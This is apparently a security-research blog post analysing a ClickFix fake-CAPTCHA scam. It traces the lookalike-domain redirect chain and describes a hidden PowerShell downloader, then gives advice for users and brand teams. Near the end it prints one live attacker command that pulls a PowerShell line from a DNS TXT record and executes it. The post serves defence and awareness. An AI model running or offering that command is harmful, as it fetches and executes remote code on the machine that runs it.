What Happens When a Fake CAPTCHA Asks You to Press Ctrl+V: Inside a ClickFix Scam
CAPTCHAs have never been limited to the familiar “type the distorted letters” box.
You’ve probably encountered everything from simple math problems to oddly specific checkboxes like “Pineapple is delicious on pizza” while trying to access a service.
The point is always the same: prove you’re a person, not a bot.
But what happens when a verification prompt asks you to do something that has nothing to do with proving you’re human?
That is exactly what we encountered during a recent ImpersonAlly investigation. Our team captured a sequence at book-ing[.]com that led to a ‘verify you are human’ scam.
After crossing several intermediary hosts, the website sent the user a fake verification page that looked legit. The page was asked to press Windows+X, open Terminal, paste from the clipboard, and hit Enter. No browser download prompt appears, because the browser never fetches the file. The shell the visitor opens does.
The steps resemble a routine device check, but following them hands execution to a trusted system tool.
This technique is known as ClickFix.
What is ClickFix?
ClickFix is a social–engineering technique that uses a fake CAPTCHA, error or verification prompt to persuade someone to run a command on their device. The page may load the command into the clipboard and indirectly instruct the user to execute it in Run, Terminal, or PowerShell.
The pasted command attempts to download through a system shell.
How is a ClickFix scam different?
A page supplies a command and convinces a person to run it through a system tool, outside the browser’s security boundary. The same trick delivers very different payloads, and keeps reappearing under new names.
ClickFix does not come from a family of ClickFix malware, in case you’ve assumed so. It is an initial access technique.
The design relies on familiar language and a familiar task. As we have written in our analysis of the psychology of social engineering, a polished interface and a trusted brand can lower suspicion before the technical part of the attack begins.
Microsoft’s analysis of the technique documents campaigns reaching enterprise and consumer devices daily, and Unit 42 covers the clipboard side of it in detail. It is also known as pastejacking.
If you remember one thing from this article, make it this: a legitimate browser CAPTCHA never asks you to open Run, Terminal, Command Prompt, or PowerShell and paste something into it. Not as a fallback, not for a device check, not ever.
How did a lookalike domain lead to the lure?
Now, let’s go back to our findings at book-ing[.]com, one of the fake domains used in the attack path.
Note: Microsoft separately documented a Booking.com-themed ClickFix phishing campaign. It shows prior use of the brand in this technique but does not connect that campaign to our capture.
Our capture recorded six browser requests, not six redirects. The first two pages returned HTTP 200 and used JavaScript to move the browser onward. Two HTTP 302 responses followed. A fifth page returned HTTP 200 and performed another JavaScript forward before the final lure loaded with a sixth HTTP 200 response.
A status-code check therefore cannot establish that a page is safe. HTTP 200 only tells us that a server returned content successfully. The content can still contain JavaScript that immediately sends the browser somewhere else.
The middle hops – bytedrums[.]online, showrecords[.]online, keyzonelearn[.]monster – are dressed to look like routine ad-tech traffic routing, and the final host sits on a cheap, disposable TLD.
This is also why domain impersonation cannot be understood by looking only at the last URL. Our research into typosquatting and paid-search fraud and layered redirect chains in crypto search shows the same gap: the route can explain brand domain abuse that the destination alone does not reveal.
Why does the CAPTCHA ask you to press Ctrl+V?
The landing page gave four instructions: press Windows+X, press I or choose Terminal, press Ctrl+V, and press Enter.
The sequence doesn’t sound overtly malicious. The page presents system–level execution as a normal part of proving that the visitor is human. That‘s the point.
By the time the user pressed Ctrl+V, the clipboard already contained text supplied by the page.
Clipboard access is not inherently malicious; many legitimate sites use it for copy buttons. The risk comes from persuading someone to paste unknown content into a system shell and execute it without seeing what it does.
What was inside the pasted command
Let’s start with what a victim would glimpse in the half-second the box is open.
The line opens with a comment reading “Verification code: C0B8BF…”, which is there to make the paste look routine.
Behind it sits a long hexadecimal value and a loop that is XOR-decoded into readable text, plus a neat trick: the execution command is also assembled from characters of an environment variable, keeping the word itself out of sight. Nothing in the visible string looks like a download.
After decoding the supplied script in a controlled environment, we found that it attempted to:
- Force the connection to use TLS 1.2.
- Create a randomly named folder inside the temporary directory.
- Generate a random filename ending in .exe.
- Try up to three times to retrieve an executable from a remote server.
- Launch the downloaded file in a hidden window.
- Attempt to delete the downloaded file after launch.
- Start another PowerShell process with its window hidden.
This establishes downloader and execution behaviour. It does not establish the identity of the executable, what it would do after launch, whether the download succeeded, or whether any device was infected. The decoded script tells us what was attempted, not the outcome.
How does the same method change its disguise?
ClickFix does not depend on one template.
In another set of pages captured by our team, the lure used brand spoofing, borrowing the Google Marketing Platform name and design. One screen blamed unusually high traffic and asked the visitor to whitelist a Windows PC.
The next panel displayed a secure–connection claim, a TLS version, a response time and a device–check reference before saying that automatic verification had failed.
The second panel is especially interesting. It reports a secure connection to a Google hostname, a TLS version, a response time in milliseconds, a captured device fingerprint and a device-check reference.
Well, a webpage cannot measure any of that!
And finally, it says the automatic check failed, so the visitor must finish verification on their machine.
The only job of this fake device verification is to manufacture a reason for you to act manually.
That is the same instinct behind every cloned brand experience we look at: borrow the visual language of a check, and the check stops being questioned. A third variant does not carry its instructions at all – the pasted command queries a DNS TXT record, saves the answer, finds the line containing PowerShell and hands it to the command shell. That could let an operator change what runs next without touching the lure, though that is an inference rather than something we observed. Its visible tail is padded with a reassuring fake session ID. The label is misspelled.
Observed DNS TXT command
cmd /c "nslookup -q=TXT Antibot.339Jump.com > %temp%\x.txt && for /f "tokens=*" %i in ('findstr /i "powershell" %temp%\x.txt') do cmd /c %~i" | cmd && exit\1 # Antibot-Human-Verificafion, Recaptcha_Session-ID:728432
What should users do if they encounter a ClickFix prompt?
- Close any page that asks you to paste clipboard content into Run, Terminal, Command Prompt or PowerShell.
- If you have already executed the command, disconnect the device from the network and contact your security or IT team.
- Preserve the page, time, browser history and any instructions you follow. Do not continue experimenting with the command.
- After the device has been assessed, reset important credentials from a known-clean device. A quick antivirus scan alone may not settle the question.
What Can Security and Brand Teams Do About ClickFix?
Before the Attack:
- Monitor lookalike domains and branded search results for pages that imitate your brand or its verification process.
- Use domain monitoring for brand protection to identify newly registered or suspicious domains that could be used to host deceptive verification pages or redirect users to them.
After the Attack:
- Preserve the full redirect path, timestamps, rendered page, page source and clipboard-related JavaScript alongside endpoint telemetry.
- Investigate hidden PowerShell, executables created in temporary folders, network requests from a shell and Run-box history. DNS TXT lookups followed by shell execution are also useful for leads.
- Monitor lookalike domains and branded search under realistic locations, devices and browser conditions. Reconstruct the entire post-click path rather than storing only the final URL.
- Individual indicators are investigation leads, not proof on their own. So, submit the complete evidence chain when requesting takedown or escalation.
The responsibilities of users and security teams meet in the middle. Endpoint teams investigate what ran on the device. Brand and digital-risk teams identify the external journey that created the opportunity. A practical brand impersonation prevention process should preserve both views without pretending that one replaces the other.
If you want to see whether lookalike domains or deceptive search journeys are using your brand, you can check your domain for fraud with ImpersonAlly.
FAQ
What is a ClickFix scam?
ClickFix is a scam that uses a fake CAPTCHA, error or verification prompt to persuade someone to run a command on their own device. The page loads the command into the clipboard and instructs the visitor to paste it into Run, Terminal or PowerShell and press Enter.
Is ClickFix malware?
ClickFix is not malware. It is a social-engineering technique that uses a fake CAPTCHA and the clipboard to get you to run malicious code yourself. The code it delivers is malware; the ClickFix page is the delivery method.
Why would a CAPTCHA ask me to press Ctrl+V or open Terminal?
It would not. Legitimate browser verification never requires you to open a system tool or paste anything. If a page asks, that request is the attack. Close the tab immediately.
I trusted a captcha asking me to press Ctrl+V and pressed Enter. What should I do now?
Disconnect the device from the network, contact your security or IT team, and preserve what happened. Once the machine has been assessed, reset important credentials from a separate, known-clean device.
Can ClickFix affect a Mac or a phone?
Yes. While the ImpersonAlly evidence is Windows-specific, Microsoft has documented macOS variants of the same technique delivering information-stealing malware, so it is not a Windows-only problem.
How can I tell whether a fake website impersonating a company is running ClickFix?
If the journey begins with a fake domain and leads to a verification page that asks visitors to open Run, Terminal, Command Prompt, or PowerShell and paste clipboard contents, it is consistent with a ClickFix attack. Preserve the full evidence chain, including the page, redirects, timestamps, and any commands or scripts involved.
How to detect fake domains impersonating your brand?
Monitor lookalike domains and branded search and reconstruct the complete redirect chain rather than examining only the final URL.
Subscribe to the newsletter
Your Brand Protection Ally
Are your Ads being Impersonated by others?
Author
